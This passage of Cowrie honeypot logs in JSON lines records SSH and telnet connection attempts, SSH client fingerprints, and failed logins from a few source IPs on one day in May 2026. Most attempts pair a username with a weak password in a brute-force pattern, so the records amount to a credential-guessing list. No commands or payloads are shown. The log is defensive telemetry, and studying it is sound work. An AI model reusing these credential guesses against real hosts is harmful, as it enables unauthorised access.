16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:32.594884Z","src_ip":"45.156.87.69","session":"5851894326e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5555","message":"login attempt [root/5555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:33.323571Z","src_ip":"45.156.87.69","session":"5851894326e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45026,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ce3fef0e89c","protocol":"telnet","message":"New connection: 152.42.224.71:45026 (10.17.0.5:23) [session: 4ce3fef0e89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:34.192758Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:34.539168Z","src_ip":"45.156.87.69","session":"5851894326e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":44082,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf082f7e7ebf","protocol":"ssh","message":"New connection: 45.156.87.69:44082 (159.203.135.109:22) [session: bf082f7e7ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:36.107556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:36.324854Z","src_ip":"45.156.87.69","session":"bf082f7e7ebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:36.328665Z","src_ip":"45.156.87.69","session":"bf082f7e7ebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sina2","password":"najafi","message":"login attempt [sina2/najafi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:37.180990Z","src_ip":"45.156.87.69","session":"bf082f7e7ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.08396005630493,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:38.253604Z","src_ip":"152.42.224.71","session":"b2d8d81ac89c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:38.395595Z","src_ip":"45.156.87.69","session":"bf082f7e7ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":44294,"dst_ip":"159.203.135.109","dst_port":22,"session":"68f491227234","protocol":"ssh","message":"New connection: 45.156.87.69:44294 (159.203.135.109:22) [session: 68f491227234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:39.860341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:40.013652Z","src_ip":"45.156.87.69","session":"68f491227234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:40.017754Z","src_ip":"45.156.87.69","session":"68f491227234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48414,"dst_ip":"10.17.0.5","dst_port":23,"session":"da7bb595b5d9","protocol":"telnet","message":"New connection: 152.42.224.71:48414 (10.17.0.5:23) [session: da7bb595b5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:40.604593Z"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:40.794523Z","src_ip":"45.156.87.69","session":"68f491227234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:41.955206Z","src_ip":"45.156.87.69","session":"68f491227234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":44306,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbbc50bd41b0","protocol":"ssh","message":"New connection: 45.156.87.69:44306 (159.203.135.109:22) [session: dbbc50bd41b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:43.774182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:43.779389Z","src_ip":"45.156.87.69","session":"dbbc50bd41b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:43.890390Z","src_ip":"45.156.87.69","session":"dbbc50bd41b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"seed","password":"seed","message":"login attempt [seed/seed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:44.481782Z","src_ip":"45.156.87.69","session":"dbbc50bd41b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.387173891067505,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:45.402044Z","src_ip":"152.42.224.71","session":"0df1b9f81d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:45.652848Z","src_ip":"45.156.87.69","session":"dbbc50bd41b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55116,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad4d1a443a55","protocol":"telnet","message":"New connection: 152.42.224.71:55116 (10.17.0.5:23) [session: ad4d1a443a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:47.027123Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":23958,"dst_ip":"159.203.135.109","dst_port":22,"session":"a061ddbcd2ff","protocol":"ssh","message":"New connection: 45.156.87.69:23958 (159.203.135.109:22) [session: a061ddbcd2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:47.325065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:47.336568Z","src_ip":"45.156.87.69","session":"a061ddbcd2ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:47.454221Z","src_ip":"45.156.87.69","session":"a061ddbcd2ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mercedes","password":"mercedes","message":"login attempt [mercedes/mercedes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:47.984484Z","src_ip":"45.156.87.69","session":"a061ddbcd2ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:49.072667Z","src_ip":"45.156.87.69","session":"a061ddbcd2ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33938,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc47dc26f25","protocol":"telnet","message":"New connection: 128.199.8.54:33938 (10.17.0.5:23) [session: cdc47dc26f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:49.807017Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55130,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3e7f32149c","protocol":"telnet","message":"New connection: 152.42.224.71:55130 (10.17.0.5:23) [session: 5d3e7f32149c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:50.993222Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":23966,"dst_ip":"159.203.135.109","dst_port":22,"session":"a153f18b922a","protocol":"ssh","message":"New connection: 45.156.87.69:23966 (159.203.135.109:22) [session: a153f18b922a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:51.057842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:51.062178Z","src_ip":"45.156.87.69","session":"a153f18b922a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:51.162364Z","src_ip":"45.156.87.69","session":"a153f18b922a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"no","password":"no","message":"login attempt [no/no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:51.512132Z","src_ip":"45.156.87.69","session":"a153f18b922a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:52.597167Z","src_ip":"45.156.87.69","session":"a153f18b922a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":23972,"dst_ip":"159.203.135.109","dst_port":22,"session":"094b102f72c2","protocol":"ssh","message":"New connection: 45.156.87.69:23972 (159.203.135.109:22) [session: 094b102f72c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:54.731647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:54.735955Z","src_ip":"45.156.87.69","session":"094b102f72c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:54.857404Z","src_ip":"45.156.87.69","session":"094b102f72c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:55.460062Z","src_ip":"45.156.87.69","session":"094b102f72c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33106,"dst_ip":"10.17.0.5","dst_port":23,"session":"316b38b08bdd","protocol":"telnet","message":"New connection: 152.42.224.71:33106 (10.17.0.5:23) [session: 316b38b08bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:56.385880Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:56.561140Z","src_ip":"45.156.87.69","session":"094b102f72c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33114,"dst_ip":"10.17.0.5","dst_port":23,"session":"f30aabdc858d","protocol":"telnet","message":"New connection: 152.42.224.71:33114 (10.17.0.5:23) [session: f30aabdc858d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:57.988639Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64976,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a00cec47df5","protocol":"ssh","message":"New connection: 45.156.87.69:64976 (159.203.135.109:22) [session: 3a00cec47df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:58.322138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:58.326770Z","src_ip":"45.156.87.69","session":"3a00cec47df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:58.450822Z","src_ip":"45.156.87.69","session":"3a00cec47df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"P@ssw0rd","message":"login attempt [www/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:59.166889Z","src_ip":"45.156.87.69","session":"3a00cec47df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:00.254267Z","src_ip":"45.156.87.69","session":"3a00cec47df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33122,"dst_ip":"10.17.0.5","dst_port":23,"session":"c12281150de5","protocol":"telnet","message":"New connection: 152.42.224.71:33122 (10.17.0.5:23) [session: c12281150de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:00.704938Z"}
